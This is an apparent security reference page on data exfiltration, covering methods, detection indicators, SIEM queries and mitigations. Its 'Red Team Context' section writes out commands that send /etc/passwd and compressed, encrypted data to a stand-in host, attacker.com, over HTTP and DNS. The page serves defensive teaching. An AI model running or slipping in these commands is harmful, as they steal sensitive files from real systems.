☼
⌃
☰

Data Exfiltration

Table of Contents

Unauthorised transfer of sensitive data from a system to an external location controlled by an attacker. A component of most serious breaches — ransomware operators exfiltrate before encrypting (double extortion); APTs exfiltrate continuously over months. Detection is the primary challenge: exfiltration traffic is often indistinguishable from normal outbound activity.

Related: Data Breach Data Loss Post Exploitation Command and Control Server Botnet

Methods

Method Technique Detection difficulty
HTTP/S Upload to attacker server or cloud storage Low — blends with web traffic
DNS tunnelling Encode data in DNS queries Medium — high query volume, unusual subdomains
ICMP tunnelling Encode data in ping payloads Medium — unusual payload sizes
Email Send as attachment to external address Low — normal looking
Cloud storage Upload to Dropbox, Google Drive, OneDrive Low — trusted domains
FTP / SFTP Direct transfer to attacker server Medium — unusual destination
Physical USB drive, printed documents High — no network trace
Insider Authorised user intentionally exfiltrating High — legitimate credentials

Red Team Context

Post-exploitation, exfiltration is typically done carefully to avoid triggering DLP or anomaly detection:

SHELL
# HTTP exfiltration (blends with normal web traffic)
curl -X POST https://attacker.com/receive \
  -F "data=@/etc/passwd"

# DNS exfiltration (bypasses HTTP inspection)
# Encode data as subdomain — dnscat2, iodine
cat /etc/passwd | base64 | while read chunk; do
    dig ${chunk}.attacker.com
done

# HTTPS to legitimate cloud (bypasses domain blocklists)
# Upload to S3 bucket, Dropbox, or GitHub controlled by attacker

# Compress and encrypt before exfil to reduce size and evade DLP
tar czf - /sensitive/data | openssl enc -aes-256-cbc -k password \
  | curl -X POST https://attacker.com/ --data-binary @-

See Post Exploitation for the broader context.

Detection

Volume-based

TEXT
— Unusually large outbound transfers from a single host
— Data transferred at unusual times (off-hours)
— Sustained high bandwidth to a single external IP

Protocol-based

TEXT
— DNS: high query rate, long subdomain labels, NXDOMAIN flood
— ICMP: oversized ping payloads, high frequency
— HTTP: large POST bodies to unknown destinations
— Encrypted traffic to non-standard ports

DLP Detection

TEXT
— Content inspection: PII, financial data, credential patterns
  in outbound HTTP/email
— Block upload to unapproved cloud storage
— Alert on large volume transfers to external destinations
— USB write detection on endpoints

Splunk / SIEM

SPLUNK
| Large outbound transfers
index=network
| stats sum(bytes_out) as total_bytes by src_ip, dest_ip
| where total_bytes > 100000000
| sort -total_bytes

| DNS query anomaly (potential tunnelling)
index=dns
| stats count, avg(query_length) as avg_len by src_ip
| where count > 500 OR avg_len > 50

Mitigations

Control What it addresses
DLP software Detects and blocks sensitive data in transit
Egress filtering Restricts outbound connections to approved destinations
DNS monitoring Detects tunnelling and DGA-based C2
CASB Visibility and control over cloud storage uploads
Network segmentation Limits which hosts can reach the internet directly
Endpoint controls USB write blocking, application allowlisting
User behaviour analytics Baseline normal data access; alert on anomalies

Tips

  • DNS is the most overlooked exfiltration channel — it is rarely blocked and often uninspected; ensure DNS queries are logged and analysed
  • Exfiltration to trusted cloud domains (Google Drive, OneDrive, AWS S3) is particularly difficult to block without also disrupting legitimate use — context matters
  • Large compressed or encrypted files leaving the network are a stronger indicator than volume alone — encryption of outbound data where none was seen before is suspicious
  • In the double-extortion ransomware model, exfiltration happens before encryption — detecting the exfil phase is the last opportunity to prevent the breach component of the incident